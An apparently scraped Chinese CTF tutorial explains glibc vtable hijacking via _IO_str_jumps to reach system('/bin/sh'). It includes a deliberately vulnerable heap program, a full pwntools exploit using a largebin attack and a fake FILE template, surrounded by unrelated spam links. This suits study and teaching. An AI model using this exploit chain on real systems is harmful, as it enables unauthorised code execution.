当前位置: 首页 > wzjs >正文

免费网站建设品牌成都本地推广平台

免费网站建设品牌,成都本地推广平台,网站建设需求说明书,iis网站配置教程一、针对vtable的合法性检查 glibc-2.24及以后,针对vtable的篡改攻击,增添了对vtable合法性的检查,具体表现为宏IO_validate_vtable: IO_validate_vtable宏的定义: 也即,vtable的数值需要限定在__stop__libc_IO_vtabl…

一、针对vtable的合法性检查

glibc-2.24及以后,针对vtable的篡改攻击,增添了对vtable合法性的检查,具体表现为宏IO_validate_vtable:

在这里插入图片描述

在这里插入图片描述

IO_validate_vtable宏的定义:

在这里插入图片描述

也即,vtable的数值需要限定在__stop__libc_IO_vtables~__start__libc_IO_vtables范围内。因此,对于vtable的劫持,不能到任意地址。不过好在,_IO_str_jumps_IO_wstr_jumps都在这个合法范围内,劫持vtable到这两个结构体上,是符合vtable的合法性检查的。但是为什么是这两个结构体?

二、_IO_str_jumps 和 _IO_wstr_jumps

首先,vtable原本的类型是__typeof__((struct _IO_FILE_plus{}).vtable)也即_IO_jump_t *类型。而_IO_str_jumps_IO_wstr_jumps也是_IO_jump_t类型,但是代表的函数指针表不同。因此将 *vtable填充成这两个结构体,是合法的。接下来看看这两个函数表,着重关注_IO_str_finish函数指针:

在这里插入图片描述

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_str_finish),JUMP_INIT(overflow, _IO_str_overflow),JUMP_INIT(underflow, _IO_str_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_str_pbackfail),JUMP_INIT(xsputn, _IO_default_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_str_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_default_setbuf),JUMP_INIT(sync, _IO_default_sync),JUMP_INIT(doallocate, _IO_default_doallocate),JUMP_INIT(read, _IO_default_read),JUMP_INIT(write, _IO_default_write),JUMP_INIT(seek, _IO_default_seek),JUMP_INIT(close, _IO_default_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};
---------------------------------------------------------------
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);fp->_IO_buf_base = NULL;_IO_default_finish (fp, 0);
}
---------------------------------------------------------------
typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);struct _IO_str_fields
{_IO_alloc_type _allocate_buffer;_IO_free_type _free_buffer;
};    struct _IO_streambuf
{struct _IO_FILE _f;const struct _IO_jump_t *vtable;
};typedef struct _IO_strfile_
{struct _IO_streambuf _sbf;struct _IO_str_fields _s;
} _IO_strfile;

这里我们注意到,参数fp的类型原本是_IO_FILE*,在if语句中,被强制类型转换为_IO_strfile*,并调用了_s.__free_buffer(fp->_IO_buf_base)_IO_wstr_jumps_IO_str_jumps内部过程完全一致。至此,利用方法就很明显了。

三、利用过程

  1. largebin attackIO_FILE劫持到堆上,即fake_file
  2. fake_file的相关成员设置好,满足触发链上的各种条件,包括设置fp->_IO_buf_base="/bin/sh\x00"
  3. IO_FILE类型的fake_file之后附加system函数指针,为下一阶段调用_s.__free_buffer类型混淆作准备
  4. fake_filevtable指向_IO_str_jumps偏移offset的位置,使得下一个函数触发到_IO_default_finish
  5. 触发_s.__free_buffer(fp->_IO_buf_base),实际上触发system("/bin/sh\x00")

四、无导出符号的_IO_str_jumps地址定位方法

  1. 在众多vtable表中,都有_IO_str_underflow函数指针

  2. _IO_str_jumps表在_IO_file_jumps表之后,相邻

  3. _IO_file_jumps表中存储_IO_str_underflow的地址之后开始找的下一个存储_IO_str_underflow函数的表就是_IO_str_jumps

from bisect import bisect_left
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow'] - libc.address
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20

五、模板与例题

1、pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

2、exp.py

from pwn import *
from bisect import bisect_leftelf=ELF("./pwn")
libc=ELF("./libc.so.6")context(arch='amd64',log_level='debug',os='linux')def add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:\n", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:\n", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:\n", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:\n", str(index).encode())io=process("./pwn")add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)delete(2)
show(2)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3afca0
success(hex(libc.address))
add(10,0x500)# 定位表_IO_str_jumps
_IO_file_jumps=libc.sym['_IO_file_jumps']
_IO_str_underflow=libc.sym['_IO_str_underflow'] - libc.address
_IO_str_underflow_list=list(libc.search(p64(_IO_str_underflow)))
_IO_str_jumps=_IO_str_underflow_list[bisect_left(_IO_str_underflow_list,_IO_file_jumps+0x20)]-0x20
success("_IO_str_jumps: "+hex(_IO_str_jumps))
# gdb.attach(io)
# pause()fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0)  # _IO_read_ptr
# 上述是chunk的控制头部字段,控制不了
fake_file = b""
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['stdout']-0x20)  # _IO_write_ptr # largebin chunk next_bk_size
fake_file += p64(0)  # _IO_write_end
fake_file += p64(libc.search("/bin/sh\x00").__next__())  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(_IO_str_jumps-0x28) # fake vtable
fake_file += p64(0)  #_allocate_buffer
fake_file += p64(libc.sym['system'])  #_free_bufferedit(2,fake_file)
delete(0)
add(10,0x20)io.interactive()

3、fake_file板子

fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable
http://www.dtcms.com/wzjs/114383.html

相关文章:

  • 电子商务网站建设课后习题答案查关键词排名网
  • 收费网站开发青岛网站建设方案优化
  • 网站搭建本地环境昆明seo网站建设
  • 2015百度推广网站遭到攻击整合营销传播最基础的形式是
  • 邢台网站关键词优化网络营销总结
  • 做婚纱网站的图片专门发广告的app
  • 福州网站建设技术支持百度地图优化
  • 电子商务网站开发实训itme收录优美图片官网
  • 域名绑定网站搜索引擎平台
  • 室内装修图seo优化工具推荐
  • 重庆人居建设集团网站谷歌seo搜索
  • 渭南网站建设费用明细软件培训机构排名
  • 济南门户网站建设seo技术员
  • 给一个公司做网站需要多久友情链接购买
  • 新乡网站设计公司济宁seo推广
  • 网站建设管理 自查 报告百度排行榜小说
  • 政府网站建设标准百度关键词关键词大全
  • 微信小程序后端一般用什么开发虞城seo代理地址
  • 网站首页栏目设置网络快速排名优化方法
  • wordpress 随机图片大同优化推广
  • 兰州企业 网站建设外链查询工具
  • 网站内容优化关键词布局阿里域名注册官网
  • 实体企业怎么做网络推广上海百度关键词优化公司
  • 什么网站能免费代做网页设计平台
  • 网站建设汉狮怎么样江苏seo技术教程
  • 门户网站模板 免费网站运营需要多少钱
  • 服务器买好了怎么搭建自己的网站网站链接交易
  • 建网站的方案抖音seo源码搭建
  • 百度统计搜索词为什么有与网站不相关的词烟台seo快速排名
  • 重庆网上房地产网站市场调研的基本流程